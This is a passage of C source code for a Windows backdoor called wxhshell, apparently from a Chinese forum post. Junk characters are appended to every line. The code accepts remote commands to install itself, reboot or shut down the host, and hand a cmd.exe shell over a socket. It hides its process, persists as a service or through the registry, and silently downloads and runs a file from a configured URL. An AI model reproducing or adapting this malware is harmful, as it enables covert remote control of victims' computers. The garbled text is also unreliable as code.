  } zkRL'-  
  else { "~zQN(sR"P  
~Uw<E:?v  
    switch(cmd[0]) { 2OJ=Xb1  
  X$4 5<oz  
  // 帮助 Y^W.gGM  
  case '?': { \a6knd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B^u qu  
    break; atO/Tp  
  } Kn<z<>vO  
  // 安装 4chSo.= 4V  
  case 'i': { nXuoRZ  
    if(Install()) =W~K_jE5lo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .U:DuyT  
    else *q.qO )X}3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]B"YW_.x2  
    break; zg=F;^oZ<  
    } =5sUpP V(  
  // 卸载 ;0f?-W?1  
  case 'r': { f}1R,N_fC  
    if(Uninstall()) * -Kf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9e|]H+y  
    else 4d*=gy%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TZ,kmk#  
    break; y-iuOzq4  
    } K8UgP?c;0  
  // 显示 wxhshell 所在路径 *[eh0$  
  case 'p': { ZzuEw   
    char svExeFile[MAX_PATH]; okO^ /"  
    strcpy(svExeFile,"\n\r"); SH/KC  
      strcat(svExeFile,ExeFile); StP7t  
        send(wsh,svExeFile,strlen(svExeFile),0); _lE0_X|d  
    break; T53|*~u  
    } jHxg(]  
  // 重启 u-a*fT  
  case 'b': { V@xlm h,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PfI~`ke  
    if(Boot(REBOOT)) /k(KA [bS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iS{8cN3R  
    else { ;{e;6Hq  
    closesocket(wsh); m};Qng]  
    ExitThread(0); %y/8i%@6  
    } P2S$Dk_<\X  
    break; >~kSe=Hsb4  
    } |X6]#&g7  
  // 关机 1{sfDw[s  
  case 'd': { SV4a_m?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qe!\ oh  
    if(Boot(SHUTDOWN)) Qifjv0&;u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "]dNN{Wka  
    else { qd9CKd  
    closesocket(wsh); z#8d\X/  
    ExitThread(0); k{op,n#  
    } 94umk*ib  
    break; pm-SDp>s  
    } ^&'&Y>  
  // 获取shell )|88wa(M  
  case 's': { 6O^'J~wiI  
    CmdShell(wsh); 9}{i8 <$=  
    closesocket(wsh); ZX0ZN2 ]  
    ExitThread(0); H*DWDJxmV  
    break; QPf#y7_@u  
  } F j_r n  
  // 退出 NM0[yh  
  case 'x': { Mt@P}4   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %=:*yf>}  
    CloseIt(wsh); w7H.&7rF  
    break; Y~qv 0O6K  
    } &95iGL28Q  
  // 离开 ?NZKu6  
  case 'q': { .!ThqYo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KWVEAHIn  
    closesocket(wsh); 8#OcrJzC  
    WSACleanup(); 5 } 9}4e  
    exit(1); D:9/;9V  
    break; =(f+geA"hm  
        } 47R4gs#W  
  } AnV\{A^  
  } qW57h8M  
o0Z(BTO  
  // 提示信息 *t{$GBP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /P*mF^Y  
} 6~KtT{MYQ  
  } c?qg i"kS  
r7z8ICX'q  
  return; as1ZLfN.  
} Vy-EY*r|  
&TqY\l  
// shell模块句柄 _zG9.?'b3  
int CmdShell(SOCKET sock) 3:Aw.-,i\  
{ =&QC&CqEi  
STARTUPINFO si; d, fX3  
ZeroMemory(&si,sizeof(si)); ^goa$ uxU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -2}-;|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;P9P2&c8c  
PROCESS_INFORMATION ProcessInfo; :` >|N|i  
char cmdline[]="cmd"; W\s ]qsLS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {{b&l!  
  return 0; 4\)"Ih  
} gA)!1V+:  
MTZbRi6z  
// 自身启动模式 Tu Q@b  
int StartFromService(void) 9Foo8e  
{ ~7$E\w6  
typedef struct $vNz^!zgV  
{ HZBU?{  
  DWORD ExitStatus; 2BLcun  
  DWORD PebBaseAddress; :3k&[W*  
  DWORD AffinityMask; @SREyqC4  
  DWORD BasePriority; GzJLG=M  
  ULONG UniqueProcessId; vkdU6CZO  
  ULONG InheritedFromUniqueProcessId; +*2wGAT  
}   PROCESS_BASIC_INFORMATION; dmHpF\P5f  
tETT\y|'  
PROCNTQSIP NtQueryInformationProcess; k!e \O>+  
90)0\i+P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &61;v@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }."3&u't  
Ue:'55  
  HANDLE             hProcess; shbPy   
  PROCESS_BASIC_INFORMATION pbi; )i&z!|/2  
Ha l,%W~e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x`@!hJc:[e  
  if(NULL == hInst ) return 0; ~~[Sz#(  
I@VhxJh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FLI\SF<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kt8P\/~*i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xaO9?{O  
-%]O-'  
  if (!NtQueryInformationProcess) return 0; 8'Dp3x^W>  
M17oAVN7D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  laX(?{_  
  if(!hProcess) return 0; `Tt}:9/3  
8H4"mxO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,-PzUR4_Kj  
Fy|tKMhnc  
  CloseHandle(hProcess); ta]B9&c  
E"l&<U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uGm~ Oo  
if(hProcess==NULL) return 0; -lHSojq~H  
$mvcqn;  
HMODULE hMod; O)nLV~X  
char procName[255]; ugexkdgM  
unsigned long cbNeeded; WPVur{?<  
* z|i{=W F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E~?0Yrm F  
%M{qr!?uj  
  CloseHandle(hProcess); \\F^uM7,  
1@Dp<Q  
if(strstr(procName,"services")) return 1; // 以服务启动 s(56aE  
jf0D  
  return 0; // 注册表启动 NpV# zzE  
} sg"J00  
:5!>h8p;  
// 主模块 1qWIku  
int StartWxhshell(LPSTR lpCmdLine) } DY{>D>  
{ ;AV[bjRE\  
  SOCKET wsl; IXb]\ )  
BOOL val=TRUE; j-wSsjLk  
  int port=0; ~l$u~:4Ob  
  struct sockaddr_in door; &$yC +cf  
% 1Y!|306  
  if(wscfg.ws_autoins) Install(); s%h|>l[lKT  
"?Dov/+Q.  
port=atoi(lpCmdLine); n%; wQ^  
C?@vBM}  
if(port<=0) port=wscfg.ws_port; :V1ttRW}52  
E$5)]<p! <  
  WSADATA data; C Z8Fe$F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P" +!mSe^~  
D BDHe-1[+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hE>ux"_2/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tfzIem  
  door.sin_family = AF_INET; qfp,5@p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <<#-IsT  
  door.sin_port = htons(port); ? b;_T,S[  
#clOpyT*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qEvHrsw},  
closesocket(wsl); Yud]s~N  
return 1; .!uXhF'  
} -2NXQ+m ;  
^(<Ecdz(  
  if(listen(wsl,2) == INVALID_SOCKET) { 7_Yxz$m  
closesocket(wsl); @c&}\#;  
return 1; P{ YUW~  
} VO#x+u]/  
  Wxhshell(wsl); v{%x,K56  
  WSACleanup(); kev|AU (WX  
[ kI|Thx  
return 0; p<b//^   
%@/"BF;r  
} 7!%/vO0m  
C:S*ju K  
// 以NT服务方式启动 <A{|=2<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VyQ@. Lm  
{ ~)!yl. H  
DWORD   status = 0; Dq=&K,5;  
  DWORD   specificError = 0xfffffff; #-76E  
0=N,y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @qP uYFnw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0$RZ~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W?y7mw_S  
  serviceStatus.dwWin32ExitCode     = 0; ?:@13wm  
  serviceStatus.dwServiceSpecificExitCode = 0; Z) nB  
  serviceStatus.dwCheckPoint       = 0; P#^-{;Bu  
  serviceStatus.dwWaitHint       = 0; k'O^HMAn!  
0,1x- yD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "Zk# bQ2j  
  if (hServiceStatusHandle==0) return; ?HD(EGdx  
MA}~bfB  
status = GetLastError(); L{;Sc_  
  if (status!=NO_ERROR) G]Rb{v,r  
{ #cHH<09 rl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?'RB)M=Og7  
    serviceStatus.dwCheckPoint       = 0; JmMB=} <  
    serviceStatus.dwWaitHint       = 0; 'p%aHK{  
    serviceStatus.dwWin32ExitCode     = status; N.\?"n   
    serviceStatus.dwServiceSpecificExitCode = specificError; 2o8:[3C5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N, `q1B  
    return; 0tA~Y26  
  } X#;n Gq)5  
d|I_SI1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UA>3,|gV1  
  serviceStatus.dwCheckPoint       = 0; zN3[W`q+m  
  serviceStatus.dwWaitHint       = 0; ;v#BguM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +0,'B5 (E  
} .>QzM>zO  
y!z2+q2  
// 处理NT服务事件,比如:启动、停止 %}.4c8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (Dat`:  
{ b#uNdq3  
switch(fdwControl) ?L K n  
{ .[8! E_  
case SERVICE_CONTROL_STOP: Za[ ?CA  
  serviceStatus.dwWin32ExitCode = 0; ,=_)tX^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C8{bqmlm@  
  serviceStatus.dwCheckPoint   = 0; -FOn%7r#Y  
  serviceStatus.dwWaitHint     = 0; mS$9D{  
  { bEQy5AX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (M0"I1g|w  
  } :k; c|MW  
  return; .j et0w  
case SERVICE_CONTROL_PAUSE: Q,ez AE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5taR[ukM  
  break; } Z/[ "  
case SERVICE_CONTROL_CONTINUE: /EIQMZuYp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]QU 9|1  
  break; v 9,<2  
case SERVICE_CONTROL_INTERROGATE: 1'NJ[ C`  
  break; gg0rkg  
}; "h@=O c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,59G6o  
} pD@:]VP  
{})d}dEC  
// 标准应用程序主函数 #ORZk6e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bmOK 8  
{ o5@d1A  
3u 'VPF2  
// 获取操作系统版本 +Rj8 "p$K  
OsIsNt=GetOsVer(); "[QQ(]={  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oW5Ov  
H|Y*TI2vf8  
  // 从命令行安装 a1>Tz  
  if(strpbrk(lpCmdLine,"iI")) Install(); !.G knDT  
=Lh8#>T\h  
  // 下载执行文件 9xN`  
if(wscfg.ws_downexe) { b F MBIA|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]')  
  WinExec(wscfg.ws_filenam,SW_HIDE); ynZp|'b?<  
} 7;I;(iY  
*| 9:  
if(!OsIsNt) { tCR#TW+IY-  
// 如果时win9x,隐藏进程并且设置为注册表启动 }Ug O$1  
HideProc(); ^, &'  
StartWxhshell(lpCmdLine); !C&  ^%a  
} j5gL 67B  
else OcE,E6LD  
  if(StartFromService()) HEk{!Y  
  // 以服务方式启动 zcy`8&{A<?  
  StartServiceCtrlDispatcher(DispatchTable); BM o2t'L  
else FvJkb!5*e_  
  // 普通方式启动 tZ.hSDH  
  StartWxhshell(lpCmdLine); n%ypxY0  
B/_~j_n$m  
return 0; ?orLc,pU^  
}
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只看该作者 1 发表于: 2006-10-10
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